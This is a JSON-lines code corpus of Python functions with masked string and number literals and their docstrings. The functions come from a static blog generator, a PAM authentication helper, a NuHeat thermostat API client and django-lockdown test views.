{"signature": "def run(self):", "body": "self.checkProperties()<EOL>self.debug(\"<STR_LIT>\")<EOL>self.showScanProperties()<EOL>self.loadConfig()<EOL>init_ts = datetime.now()<EOL>cwd = os.getcwd()<EOL>os.chdir(self.path)<EOL>issues = self.executeCheckers()<EOL>os.chdir(cwd)<EOL>end_ts = datetime.now()<EOL>duration = '<STR_LIT:{}>'.format(end_ts - init_ts)<EOL>for plugin in list(issues.keys()):<EOL><INDENT>value = issues[plugin]<EOL>if isinstance(value, list):<EOL><INDENT>list(map(self.saveIssue, value))<EOL><DEDENT>else:<EOL><INDENT>self.saveIssue(value)<EOL><DEDENT><DEDENT>print(\"<STR_LIT>\")<EOL>self.executeReports()<EOL>self.debug(\"<STR_LIT>\")<EOL>self.debug(\"<STR_LIT>\".format(t=duration))<EOL>self.showSummary()<EOL>return self.issues<EOL>", "docstring": "Run a scan in the path setted.", "id": "f1194:c0:m37"}
{"signature": "def authenticate(username, password, service='<STR_LIT>', encoding='<STR_LIT:utf-8>',<EOL>resetcred=True):", "body": "if sys.version_info >= (<NUM_LIT:3>,):<EOL><INDENT>if isinstance(username, str):<EOL><INDENT>username = username.encode(encoding)<EOL><DEDENT>if isinstance(password, str):<EOL><INDENT>password = password.encode(encoding)<EOL><DEDENT>if isinstance(service, str):<EOL><INDENT>service = service.encode(encoding)<EOL><DEDENT><DEDENT>@conv_func<EOL>def my_conv(n_messages, messages, p_response, app_data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>addr = calloc(n_messages, sizeof(PamResponse))<EOL>p_response[<NUM_LIT:0>] = cast(addr, POINTER(PamResponse))<EOL>for i in range(n_messages):<EOL><INDENT>if messages[i].contents.msg_style == PAM_PROMPT_ECHO_OFF:<EOL><INDENT>pw_copy = strdup(password)<EOL>p_response.contents[i].resp = cast(pw_copy, c_char_p)<EOL>p_response.contents[i].resp_retcode = <NUM_LIT:0><EOL><DEDENT><DEDENT>return <NUM_LIT:0><EOL><DEDENT>handle = PamHandle()<EOL>conv = PamConv(my_conv, <NUM_LIT:0>)<EOL>retval = pam_start(service, username, byref(conv), byref(handle))<EOL>if retval != <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>retval = pam_authenticate(handle, <NUM_LIT:0>)<EOL>auth_success = (retval == <NUM_LIT:0>)<EOL>if auth_success and resetcred:<EOL><INDENT>retval = pam_setcred(handle, PAM_REINITIALIZE_CRED)<EOL><DEDENT>pam_end(handle, retval)<EOL>return auth_success<EOL>", "docstring": "Returns True if the given username and password authenticate for the\n    given service.  Returns False otherwise.\n\n    ``username``: the username to authenticate\n\n    ``password``: the password in plain text\n\n    ``service``: the PAM service to authenticate against.\n                 Defaults to 'login'\n\n    The above parameters can be strings or bytes.  If they are strings,\n    they will be encoded using the encoding given by:\n\n    ``encoding``: the encoding to use for the above parameters if they\n                  are given as strings.  Defaults to 'utf-8'\n\n    ``resetcred``: Use the pam_setcred() function to\n                   reinitialize the credentials.\n                   Defaults to 'True'.", "id": "f1197:m0"}
{"signature": "def parse(self):", "body": "if exists(self.filepath):<EOL><INDENT>content = open(self.filepath).read().decode(charset)<EOL><DEDENT>else:<EOL><INDENT>content = \"<STR_LIT>\"<EOL><DEDENT>try:<EOL><INDENT>config = toml.loads(content)<EOL><DEDENT>except toml.TomlSyntaxError:<EOL><INDENT>raise ConfigSyntaxError<EOL><DEDENT>return config<EOL>", "docstring": "parse config, return a dict", "id": "f1199:c0:m0"}
{"signature": "def initialize(self, templates_path, global_data):", "body": "self.env = Environment(loader=FileSystemLoader(templates_path))<EOL>self.env.trim_blocks = True<EOL>self.global_data = global_data<EOL>", "docstring": "initialize with templates' path\n        parameters\n          templates_path    str    the position of templates directory\n          global_data       dict   globa data can be got in any templates", "id": "f1200:c0:m0"}
{"signature": "def render(self, template, **data):", "body": "<EOL>dct = self.global_data.copy()<EOL>dct.update(data)<EOL>try:<EOL><INDENT>html = self.env.get_template(template).render(**dct)<EOL><DEDENT>except TemplateNotFound:<EOL><INDENT>raise JinjaTemplateNotFound<EOL><DEDENT>return html<EOL>", "docstring": "Render data with template, return html unicodes.\n        parameters\n          template   str  the template's filename\n          data       dict the data to render", "id": "f1200:c0:m1"}
{"signature": "def render_to(self, path, template, **data):", "body": "html = self.render(template, **data)<EOL>with open(path, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(html.encode(charset))<EOL><DEDENT>", "docstring": "Render data with template and then write to path", "id": "f1200:c0:m2"}
{"signature": "def block_code(self, text, lang):", "body": "if not lang:<EOL><INDENT>return self._code_no_lexer(text)<EOL><DEDENT>try:<EOL><INDENT>lexer = get_lexer_by_name(lang, stripall=True)<EOL><DEDENT>except ClassNotFound:  <EOL><INDENT>return self._code_no_lexer(text)<EOL><DEDENT>formatter = HtmlFormatter()<EOL>return highlight(text, lexer, formatter)<EOL>", "docstring": "text: unicode text to render", "id": "f1201:c0:m1"}
{"signature": "def __init__(self):", "body": "render = RuxHtmlRenderer()  <EOL>extensions = (<EOL>misaka.EXT_FENCED_CODE |<EOL>misaka.EXT_NO_INTRA_EMPHASIS |<EOL>misaka.EXT_AUTOLINK<EOL>)<EOL>self.markdown = misaka.Markdown(render, extensions=extensions)<EOL>", "docstring": "Initialize the parser, set markdown render handler as\n        an attribute `markdown` of the parser", "id": "f1201:c1:m0"}
{"signature": "def parse(self, source):", "body": "rt, title, title_pic, markdown = libparser.parse(source)<EOL>if rt == -<NUM_LIT:1>:<EOL><INDENT>raise SeparatorNotFound<EOL><DEDENT>elif rt == -<NUM_LIT:2>:<EOL><INDENT>raise PostTitleNotFound<EOL><DEDENT>title, title_pic, markdown = map(to_unicode, (title, title_pic,<EOL>markdown))<EOL>html = self.markdown.render(markdown)<EOL>summary = self.markdown.render(markdown[:<NUM_LIT:200>])<EOL>return {<EOL>'<STR_LIT:title>': title,<EOL>'<STR_LIT>': markdown,<EOL>'<STR_LIT:html>': html,<EOL>'<STR_LIT>': summary,<EOL>'<STR_LIT>': title_pic<EOL>}<EOL>", "docstring": "Parse ascii post source, return dict", "id": "f1201:c1:m2"}
{"signature": "def parse_filename(self, filepath):", "body": "name = os.path.basename(filepath)[:-src_ext_len]<EOL>try:<EOL><INDENT>dt = datetime.strptime(name, \"<STR_LIT>\")<EOL><DEDENT>except ValueError:<EOL><INDENT>raise PostNameInvalid<EOL><DEDENT>return {'<STR_LIT:name>': name, '<STR_LIT>': dt, '<STR_LIT>': filepath}<EOL>", "docstring": "parse post source files name to datetime object", "id": "f1201:c1:m3"}
{"signature": "def deploy_blog():", "body": "logger.info(deploy_blog.__doc__)<EOL>call(<EOL>'<STR_LIT>' + join(dirname(__file__), '<STR_LIT>', '<STR_LIT:*>') + '<STR_LIT>',<EOL>shell=True)<EOL>logger.success('<STR_LIT>')<EOL>logger.info('<STR_LIT>')<EOL>", "docstring": "Deploy new blog to current directory", "id": "f1202:m0"}
{"signature": "def new_post():", "body": "logger.info(new_post.__doc__)<EOL>now = datetime.datetime.now()<EOL>now_s = now.strftime('<STR_LIT>')<EOL>filepath = join(Post.src_dir, now_s + src_ext)<EOL>if not exists(Post.src_dir):<EOL><INDENT>logger.error(SourceDirectoryNotFound.__doc__)<EOL>sys.exit(SourceDirectoryNotFound.exit_code)<EOL><DEDENT>content = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>f = open(filepath, '<STR_LIT:w>')<EOL>f.write(content)<EOL>f.close()<EOL>logger.success('<STR_LIT>' % filepath)<EOL>", "docstring": "Touch a new post in src/", "id": "f1202:m1"}
{"signature": "def clean():", "body": "logger.info(clean.__doc__)<EOL>paths = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>call(['<STR_LIT>', '<STR_LIT>'] + paths)<EOL>logger.success('<STR_LIT>')<EOL>", "docstring": "Clean htmls rux built: `rm -rf post page index.html`", "id": "f1202:m2"}
{"signature": "def run_server(self, port):", "body": "try:<EOL><INDENT>self.server = MultiThreadedHTTPServer(('<STR_LIT>', port), Handler)<EOL><DEDENT>except socket.error as e:  <EOL><INDENT>logger.error(str(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>logger.info(\"<STR_LIT>\"<EOL>% port)<EOL>try:<EOL><INDENT>self.server.serve_forever()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>self.shutdown_server()<EOL><DEDENT>", "docstring": "run a server binding to port", "id": "f1203:c2:m1"}
{"signature": "def get_files_stat(self):", "body": "if not exists(Post.src_dir):<EOL><INDENT>logger.error(SourceDirectoryNotFound.__doc__)<EOL>sys.exit(SourceDirectoryNotFound.exit_code)<EOL><DEDENT>paths = []<EOL>for fn in ls(Post.src_dir):<EOL><INDENT>if fn.endswith(src_ext):<EOL><INDENT>paths.append(join(Post.src_dir, fn))<EOL><DEDENT><DEDENT>if exists(config.filepath):<EOL><INDENT>paths.append(config.filepath)<EOL><DEDENT>files = dict((p, stat(p).st_mtime) for p in paths)<EOL>return files<EOL>", "docstring": "get source files' update time", "id": "f1203:c2:m2"}
{"signature": "def watch_files(self):", "body": "try:<EOL><INDENT>while <NUM_LIT:1>:<EOL><INDENT>sleep(<NUM_LIT:1>)  <EOL>try:<EOL><INDENT>files_stat = self.get_files_stat()<EOL><DEDENT>except SystemExit:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>self.shutdown_server()<EOL><DEDENT>if self.files_stat != files_stat:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>generator.re_generate()<EOL>global _root<EOL>_root = generator.root<EOL><DEDENT>except SystemExit:  <EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>self.shutdown_server()<EOL><DEDENT>self.files_stat = files_stat  <EOL><DEDENT><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>self.shutdown_watcher()<EOL><DEDENT>", "docstring": "watch files for changes, if changed, rebuild blog. this thread\n        will quit if the main process ends", "id": "f1203:c2:m3"}
{"signature": "def run(self, port):", "body": "self.watcher.start()<EOL>self.run_server(port)<EOL>", "docstring": "start web server and watcher", "id": "f1203:c2:m4"}
{"signature": "def shutdown_server(self):", "body": "self.server.shutdown()<EOL>self.server.socket.close()<EOL>", "docstring": "shut down the web server", "id": "f1203:c2:m5"}
{"signature": "def shutdown_watcher(self):", "body": "self.watcher.join()<EOL>", "docstring": "shut down the watcher thread", "id": "f1203:c2:m6"}
{"signature": "def render_to(path, template, **data):", "body": "try:<EOL><INDENT>renderer.render_to(path, template, **data)<EOL><DEDENT>except JinjaTemplateNotFound as e:<EOL><INDENT>logger.error(e.__doc__ + '<STR_LIT>' % template)<EOL>sys.exit(e.exit_code)<EOL><DEDENT>", "docstring": "shortcut to render data with `template` and then write to `path`.\n    Just add exception catch to `renderer.render_to`", "id": "f1206:m0"}
{"signature": "def initialize(self):", "body": "<EOL>try:<EOL><INDENT>conf = config.parse()<EOL><DEDENT>except ConfigSyntaxError as e:<EOL><INDENT>logger.error(e.__doc__)<EOL>sys.exit(e.exit_code)<EOL><DEDENT>update_nested_dict(self.config, conf)<EOL>self.blog.__dict__.update(self.config['<STR_LIT>'])<EOL>self.author.__dict__.update(self.config['<STR_LIT>'])<EOL>self.root = self.config['<STR_LIT:root>']<EOL>templates = join(self.blog.theme, '<STR_LIT>')  <EOL>jinja2_global_data = {<EOL>'<STR_LIT>': self.blog,<EOL>'<STR_LIT>': self.author,<EOL>'<STR_LIT>': self.config,<EOL>'<STR_LIT:root>': self.root<EOL>}<EOL>renderer.initialize(templates, jinja2_global_data)<EOL>logger.success('<STR_LIT>')<EOL>", "docstring": "Initialize configuration and renderer environment", "id": "f1206:c0:m2"}
{"signature": "def join(*p):", "body": "return os.path.normpath(os.path.join(*p))<EOL>", "docstring": "return normpath version of path.join", "id": "f1207:m0"}
{"signature": "def chunks(lst, number):", "body": "lst_len = len(lst)<EOL>for i in xrange(<NUM_LIT:0>, lst_len, number):<EOL><INDENT>yield lst[i: i+number]<EOL><DEDENT>", "docstring": "A generator, split list `lst` into `number` equal size parts.\nusage::\n\n    >>> parts = chunks(range(8),3)\n    >>> parts\n    <generator object chunks at 0xb73bd964>\n    >>> list(parts)\n    [[0, 1, 2], [3, 4, 5], [6, 7]]", "id": "f1207:m1"}
{"signature": "def update_nested_dict(a, b):", "body": "for k, v in b.iteritems():<EOL><INDENT>if isinstance(v, dict):<EOL><INDENT>d = a.setdefault(k, {})<EOL>update_nested_dict(d, v)<EOL><DEDENT>else:<EOL><INDENT>a[k] = v<EOL><DEDENT><DEDENT>return a<EOL>", "docstring": "update nested dict `a` with another dict b.\nusage::\n\n    >>> a = {'x' : { 'y': 1}}\n    >>> b = {'x' : {'z':2, 'y':3}, 'w': 4}\n    >>> update_nested_dict(a,b)\n    {'x': {'y': 3, 'z': 2}, 'w': 4}", "id": "f1207:m2"}
{"signature": "def mkdir_p(path):", "body": "try:<EOL><INDENT>os.makedirs(path)<EOL><DEDENT>except OSError as exc:  <EOL><INDENT>if exc.errno == errno.EEXIST and os.path.isdir(path):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "mkdir -p\n    Note: comes from stackoverflow", "id": "f1207:m3"}
{"signature": "def parse(src):", "body": "rt = libparser.parse(byref(post), src)<EOL>return (<EOL>rt,<EOL>string_at(post.title, post.tsz),<EOL>string_at(post.tpic, post.tpsz),<EOL>post.body<EOL>)<EOL>", "docstring": "Note: src should be ascii string", "id": "f1208:m0"}
{"signature": "@property<EOL><INDENT>def gravatar_id(self):<DEDENT>", "body": "return md5(self.email).hexdigest()<EOL>", "docstring": "it's md5(author.email), author's gravatar_id", "id": "f1209:c1:m1"}
{"signature": "def render(template, **data):", "body": "try:<EOL><INDENT>return renderer.render(template, **data)<EOL><DEDENT>except JinjaTemplateNotFound as e:<EOL><INDENT>logger.error(e.__doc__ + '<STR_LIT>' % template)<EOL>sys.exit(e.exit_code)<EOL><DEDENT>", "docstring": "shortcut to render data with `template`. Just add exception\n    catch to `renderer.render`", "id": "f1210:m0"}
{"signature": "def replace_relative_url_to_absolute(self, content):", "body": "p =  os.path.join(os.getcwd(), '<STR_LIT>', '<STR_LIT>')<EOL>return content.replace('<STR_LIT>', p)<EOL>", "docstring": "Replace '../' leaded url with absolute uri.", "id": "f1210:c0:m3"}
{"signature": "def load_fixture(filename):", "body": "path = os.path.join(os.path.dirname(__file__), \"<STR_LIT>\", filename)<EOL>with open(path) as json_data:<EOL><INDENT>return json.load(json_data)<EOL><DEDENT>", "docstring": "Load some fixture JSON", "id": "f1216:m0"}
{"signature": "def round_half(number):", "body": "return Decimal(number).quantize(Decimal(\"<STR_LIT:1>\"), rounding=ROUND_HALF_UP)<EOL>", "docstring": "Python's round() function behaves differently in Python 2 and 3\nThis method makes it consistent.\n\n:param number: The number to round", "id": "f1219:m0"}
{"signature": "def fahrenheit_to_celsius(fahrenheit):", "body": "return int(round_half((fahrenheit - <NUM_LIT:32>) / <NUM_LIT>))<EOL>", "docstring": "Convert Fahrenheit to Celsius\n\n:param fahrenheit: The temperature to convert to Celsius", "id": "f1219:m1"}
{"signature": "def fahrenheit_to_nuheat(fahrenheit):", "body": "return int(round_half(((fahrenheit - <NUM_LIT>) * <NUM_LIT>) + <NUM_LIT>))<EOL>", "docstring": "Convert Fahrenheit to a temperature value that NuHeat understands\nFormula f(x) = ((x - 33) * 56) + 33\n\n:param fahrenheit: The temperature to convert to NuHeat", "id": "f1219:m2"}
{"signature": "def celsius_to_fahrenheit(celsius):", "body": "return int(round_half(celsius * <NUM_LIT> + <NUM_LIT:32>))<EOL>", "docstring": "Convert Celsius to Fahrenheit\n\n:param celsius: The temperature to convert to Fahrenheit", "id": "f1219:m3"}
{"signature": "def celsius_to_nuheat(celsius):", "body": "fahrenheit = celsius_to_fahrenheit(celsius)<EOL>return int(round_half(((fahrenheit - <NUM_LIT>) * <NUM_LIT>) + <NUM_LIT>))<EOL>", "docstring": "Convert Celsius to a temperature value that NuHeat understands\nFormula f(x) = ((x - 33) * 56) + 33\n\n:param celsius: The temperature to convert to NuHeat", "id": "f1219:m4"}
{"signature": "def nuheat_to_fahrenheit(nuheat_temperature):", "body": "return int(round_half(((nuheat_temperature - <NUM_LIT>) / <NUM_LIT>) + <NUM_LIT>))<EOL>", "docstring": "Convert the NuHeat temp value to Fahrenheit\nFormula f(x) = ((x - 33) / 56) + 33\n\n:param nuheat_temperature: The temperature to convert to Fahrenheit", "id": "f1219:m5"}
{"signature": "def nuheat_to_celsius(nuheat_temperature):", "body": "fahrenheit = nuheat_to_fahrenheit(nuheat_temperature)<EOL>return fahrenheit_to_celsius(fahrenheit)<EOL>", "docstring": "Convert the NuHeat temp value to Celsius\n\n:param nuheat_temperature: The temperature to convert to Celsius", "id": "f1219:m6"}
{"signature": "def __init__(self, nuheat_session, serial_number):", "body": "self._session = nuheat_session<EOL>self.serial_number = serial_number<EOL>self.get_data()<EOL>", "docstring": "Initialize a local Thermostat object with the data returned from NuHeat", "id": "f1220:c0:m0"}
{"signature": "@property<EOL><INDENT>def fahrenheit(self):<DEDENT>", "body": "if not self.temperature:<EOL><INDENT>return None<EOL><DEDENT>return nuheat_to_fahrenheit(self.temperature)<EOL>", "docstring": "Return the current temperature in Fahrenheit", "id": "f1220:c0:m2"}
{"signature": "@property<EOL><INDENT>def celsius(self):<DEDENT>", "body": "if not self.temperature:<EOL><INDENT>return None<EOL><DEDENT>return nuheat_to_celsius(self.temperature)<EOL>", "docstring": "Return the current temperature in Celsius", "id": "f1220:c0:m3"}
{"signature": "@property<EOL><INDENT>def min_fahrenheit(self):<DEDENT>", "body": "if not self.min_temperature:<EOL><INDENT>return None<EOL><DEDENT>return nuheat_to_fahrenheit(self.min_temperature)<EOL>", "docstring": "Return the thermostat's minimum temperature in Fahrenheit", "id": "f1220:c0:m4"}
{"signature": "@property<EOL><INDENT>def min_celsius(self):<DEDENT>", "body": "if not self.min_temperature:<EOL><INDENT>return None<EOL><DEDENT>return nuheat_to_celsius(self.min_temperature)<EOL>", "docstring": "Return the thermostat's minimum temperature in Celsius", "id": "f1220:c0:m5"}
{"signature": "@property<EOL><INDENT>def max_fahrenheit(self):<DEDENT>", "body": "if not self.max_temperature:<EOL><INDENT>return None<EOL><DEDENT>return nuheat_to_fahrenheit(self.max_temperature)<EOL>", "docstring": "Return the thermostat's maximum temperature in Fahrenheit", "id": "f1220:c0:m6"}
{"signature": "@property<EOL><INDENT>def max_celsius(self):<DEDENT>", "body": "if not self.max_temperature:<EOL><INDENT>return None<EOL><DEDENT>return nuheat_to_celsius(self.max_temperature)<EOL>", "docstring": "Return the thermostat's maximum temperature in Celsius", "id": "f1220:c0:m7"}
{"signature": "@property<EOL><INDENT>def target_fahrenheit(self):<DEDENT>", "body": "if not self.target_temperature:<EOL><INDENT>return None<EOL><DEDENT>return nuheat_to_fahrenheit(self.target_temperature)<EOL>", "docstring": "Return the current target temperature in Fahrenheit", "id": "f1220:c0:m8"}
{"signature": "@property<EOL><INDENT>def target_celsius(self):<DEDENT>", "body": "if not self.target_temperature:<EOL><INDENT>return None<EOL><DEDENT>return nuheat_to_celsius(self.target_temperature)<EOL>", "docstring": "Return the current target temperature in Celsius", "id": "f1220:c0:m9"}
{"signature": "@target_fahrenheit.setter<EOL><INDENT>def target_fahrenheit(self, fahrenheit):<DEDENT>", "body": "self.set_target_fahrenheit(fahrenheit)<EOL>", "docstring": "Helper to set and HOLD the target temperature to the desired fahrenheit\n\n:param fahrenheit: The desired temperature in F", "id": "f1220:c0:m10"}
{"signature": "@target_celsius.setter<EOL><INDENT>def target_celsius(self, celsius):<DEDENT>", "body": "<EOL>self.set_target_celsius(celsius)<EOL>", "docstring": "Helper to set and HOLD the target temperature to the desired fahrenheit\n\n:param celsius: The desired temperature in C", "id": "f1220:c0:m11"}
{"signature": "def get_data(self):", "body": "params = {<EOL>\"<STR_LIT>\": self.serial_number<EOL>}<EOL>data = self._session.request(config.THERMOSTAT_URL, params=params)<EOL>self._data = data<EOL>self.heating = data.get(\"<STR_LIT>\")<EOL>self.online = data.get(\"<STR_LIT>\")<EOL>self.room = data.get(\"<STR_LIT>\")<EOL>self.serial_number = data.get(\"<STR_LIT>\")<EOL>self.temperature = data.get(\"<STR_LIT>\")<EOL>self.min_temperature = data.get(\"<STR_LIT>\")<EOL>self.max_temperature = data.get(\"<STR_LIT>\")<EOL>self.target_temperature = data.get(\"<STR_LIT>\")<EOL>self._schedule_mode = data.get(\"<STR_LIT>\")<EOL>", "docstring": "Fetch/refresh the current instance's data from the NuHeat API", "id": "f1220:c0:m12"}
{"signature": "@property<EOL><INDENT>def schedule_mode(self):<DEDENT>", "body": "return self._schedule_mode<EOL>", "docstring": "Return the mode that the thermostat is currently using", "id": "f1220:c0:m13"}
{"signature": "@schedule_mode.setter<EOL><INDENT>def schedule_mode(self, mode):<DEDENT>", "body": "modes = [config.SCHEDULE_RUN, config.SCHEDULE_TEMPORARY_HOLD, config.SCHEDULE_HOLD]<EOL>if mode not in modes:<EOL><INDENT>raise Exception(\"<STR_LIT>\".format(modes))<EOL><DEDENT>self.set_data({\"<STR_LIT>\": mode})<EOL>", "docstring": "Set the thermostat mode\n\n:param mode: The desired mode integer value.\n             Auto = 1\n             Temporary hold = 2\n             Permanent hold = 3", "id": "f1220:c0:m14"}
{"signature": "def resume_schedule(self):", "body": "self.schedule_mode = config.SCHEDULE_RUN<EOL>", "docstring": "A convenience method to tell NuHeat to resume its programmed schedule", "id": "f1220:c0:m15"}
{"signature": "def set_target_fahrenheit(self, fahrenheit, mode=config.SCHEDULE_HOLD):", "body": "temperature = fahrenheit_to_nuheat(fahrenheit)<EOL>self.set_target_temperature(temperature, mode)<EOL>", "docstring": "Set the target temperature to the desired fahrenheit, with more granular control of the\nhold mode\n\n:param fahrenheit: The desired temperature in F\n:param mode: The desired mode to operate in", "id": "f1220:c0:m16"}
{"signature": "def set_target_celsius(self, celsius, mode=config.SCHEDULE_HOLD):", "body": "temperature = celsius_to_nuheat(celsius)<EOL>self.set_target_temperature(temperature, mode)<EOL>", "docstring": "Set the target temperature to the desired celsius, with more granular control of the hold\nmode\n\n:param celsius: The desired temperature in C\n:param mode: The desired mode to operate in", "id": "f1220:c0:m17"}
{"signature": "def set_target_temperature(self, temperature, mode=config.SCHEDULE_HOLD):", "body": "if temperature < self.min_temperature:<EOL><INDENT>temperature = self.min_temperature<EOL><DEDENT>if temperature > self.max_temperature:<EOL><INDENT>temperature = self.max_temperature<EOL><DEDENT>modes = [config.SCHEDULE_TEMPORARY_HOLD, config.SCHEDULE_HOLD]<EOL>if mode not in modes:<EOL><INDENT>raise Exception(\"<STR_LIT>\".format(modes))<EOL><DEDENT>self.set_data({<EOL>\"<STR_LIT>\": temperature,<EOL>\"<STR_LIT>\": mode<EOL>})<EOL>", "docstring": "Updates the target temperature on the NuHeat API\n\n:param temperature: The desired temperature in NuHeat format\n:param permanent: Permanently hold the temperature. If set to False, the schedule will\n                  resume at the next programmed event", "id": "f1220:c0:m18"}
{"signature": "def set_data(self, post_data):", "body": "params = {<EOL>\"<STR_LIT>\": self.serial_number<EOL>}<EOL>self._session.request(config.THERMOSTAT_URL, method=\"<STR_LIT:POST>\", data=post_data, params=params)<EOL>", "docstring": "Update (patch) the current instance's data on the NuHeat API", "id": "f1220:c0:m19"}
{"signature": "def __init__(self, username, password, session_id=None):", "body": "self.username = username<EOL>self.password = password<EOL>self._session_id = session_id<EOL>", "docstring": "Initialize a NuHeat API session\n\n:param username: NuHeat username\n:param username: NuHeat password\n:param session_id: A Session ID token to re-use to avoid re-authenticating", "id": "f1222:c0:m0"}
{"signature": "def authenticate(self):", "body": "if self._session_id:<EOL><INDENT>_LOGGER.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>_LOGGER.debug(\"<STR_LIT>\")<EOL>post_data = {<EOL>\"<STR_LIT>\": self.username,<EOL>\"<STR_LIT>\": self.password,<EOL>\"<STR_LIT>\": \"<STR_LIT:0>\"<EOL>}<EOL>data = self.request(config.AUTH_URL, method=\"<STR_LIT:POST>\", data=post_data)<EOL>session_id = data.get(\"<STR_LIT>\")<EOL>if not session_id:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>self._session_id = session_id<EOL>", "docstring": "Authenticate against the NuHeat API", "id": "f1222:c0:m2"}
{"signature": "def get_thermostat(self, serial_number):", "body": "return NuHeatThermostat(self, serial_number)<EOL>", "docstring": "Get a thermostat object by serial number\n\n:param serial_number: The serial number / ID of the desired thermostat", "id": "f1222:c0:m3"}
{"signature": "def request(self, url, method=\"<STR_LIT:GET>\", data=None, params=None, retry=True):", "body": "headers = config.REQUEST_HEADERS<EOL>if params and self._session_id:<EOL><INDENT>params['<STR_LIT>'] = self._session_id<EOL><DEDENT>if method == \"<STR_LIT:GET>\":<EOL><INDENT>response = requests.get(url, headers=headers, params=params)<EOL><DEDENT>elif method == \"<STR_LIT:POST>\":<EOL><INDENT>response = requests.post(url, headers=headers, params=params, data=data)<EOL><DEDENT>if response.status_code == <NUM_LIT> and retry:<EOL><INDENT>_LOGGER.warn(\"<STR_LIT>\")<EOL>self._session_id = None<EOL>self.authenticate()<EOL>return self.request(url, method=method, data=data, params=params, retry=False)<EOL><DEDENT>response.raise_for_status()<EOL>try:<EOL><INDENT>return response.json()<EOL><DEDENT>except ValueError:<EOL><INDENT>return response<EOL><DEDENT>", "docstring": "Make a request to the NuHeat API\n\n:param url: The URL to request\n:param method: The type of request to make (GET, POST)\n:param data: Data to be sent along with POST requests\n:param params: Querystring parameters\n:param retry: Attempt to re-authenticate and retry request if necessary", "id": "f1222:c0:m4"}
{"signature": "def a_view(request):", "body": "return HttpResponse('<STR_LIT>')<EOL>", "docstring": "Regular unlocked view.", "id": "f1225:m0"}
{"signature": "@lockdown()<EOL>def locked_view(request):", "body": "return HttpResponse('<STR_LIT>')<EOL>", "docstring": "View, locked by the default lockdown decorator.", "id": "f1225:m1"}
{"signature": "@lockdown(passwords=('<STR_LIT>',))<EOL>def overridden_locked_view(request):", "body": "return HttpResponse('<STR_LIT>')<EOL>", "docstring": "View, locked by the decorator with a custom password.", "id": "f1225:m2"}
{"signature": "@lockdown(url_exceptions=(r'<STR_LIT>',))<EOL>def locked_view_with_exception(request):", "body": "return HttpResponse('<STR_LIT>')<EOL>", "docstring": "View, locked by the decorator with url exceptions.", "id": "f1225:m3"}
{"signature": "@lockdown(remote_addr_exceptions=['<STR_LIT>'])<EOL>def locked_view_with_ip_exception(request):", "body": "return HttpResponse('<STR_LIT>')<EOL>", "docstring": "View, locked except for the configured IP-address.", "id": "f1225:m4"}
{"signature": "@lockdown(extra_context={'<STR_LIT:foo>': '<STR_LIT:bar>'})<EOL>def locked_view_with_extra_context(request):", "body": "return HttpResponse('<STR_LIT>')<EOL>", "docstring": "View, locked by the decorator with extra context.", "id": "f1225:m5"}
{"signature": "@lockdown(until_date=YESTERDAY)<EOL>def locked_view_until_yesterday(request):", "body": "return HttpResponse('<STR_LIT>')<EOL>", "docstring": "View, locked till yesterday.", "id": "f1225:m6"}
{"signature": "@lockdown(until_date=TOMORROW)<EOL>def locked_view_until_tomorrow(request):", "body": "return HttpResponse('<STR_LIT>')<EOL>", "docstring": "View, locked till tomorrow.", "id": "f1225:m7"}
{"signature": "@lockdown(after_date=YESTERDAY)<EOL>def locked_view_after_yesterday(request):", "body": "return HttpResponse('<STR_LIT>')<EOL>", "docstring": "View, locked since yesterday.", "id": "f1225:m8"}
{"signature": "@lockdown(after_date=TOMORROW)<EOL>def locked_view_after_tomorrow(request):", "body": "return HttpResponse('<STR_LIT>')<EOL>", "docstring": "View, locked starting from tomorrow.", "id": "f1225:m9"}
{"signature": "@lockdown(until_date=YESTERDAY, after_date=TOMORROW)<EOL>def locked_view_until_and_after(request):", "body": "return HttpResponse('<STR_LIT>')<EOL>", "docstring": "View, only not looked between yesterday and tomorrow.", "id": "f1225:m10"}
{"signature": "@lockdown(form=AuthForm, staff_only=False)<EOL>def user_locked_view(request):", "body": "return HttpResponse('<STR_LIT>')<EOL>", "docstring": "View, locked by the decorator with access for known users only.", "id": "f1225:m11"}
{"signature": "@lockdown(form=AuthForm)<EOL>def staff_locked_view(request):", "body": "return HttpResponse('<STR_LIT>')<EOL>", "docstring": "View, locked by the decorator with access for staff users only.", "id": "f1225:m12"}
{"signature": "@lockdown(form=AuthForm, superusers_only=True)<EOL>def superuser_locked_view(request):", "body": "return HttpResponse('<STR_LIT>')<EOL>", "docstring": "View, locked by the decorator with access for superusers only.", "id": "f1225:m13"}
{"signature": "def clean_answer(self):", "body": "if self.cleaned_data['<STR_LIT>'] == <NUM_LIT>:<EOL><INDENT>return <NUM_LIT><EOL><DEDENT>raise forms.ValidationError('<STR_LIT>')<EOL>", "docstring": "Clean the answer field, by checking its value.", "id": "f1226:c0:m0"}
{"signature": "def setUp(self):", "body": "super(MiddlewareTests, self).setUp()<EOL>self._old_middleware_classes = django_settings.MIDDLEWARE<EOL>django_settings.MIDDLEWARE.append(<EOL>'<STR_LIT>',<EOL>)<EOL>", "docstring": "Additional setup for middleware tests.", "id": "f1229:c2:m0"}
{"signature": "def tearDown(self):", "body": "django_settings.MIDDLEWARE = self._old_middleware_classes<EOL>super(MiddlewareTests, self).tearDown()<EOL>", "docstring": "Additional tear down for middleware tests.", "id": "f1229:c2:m2"}
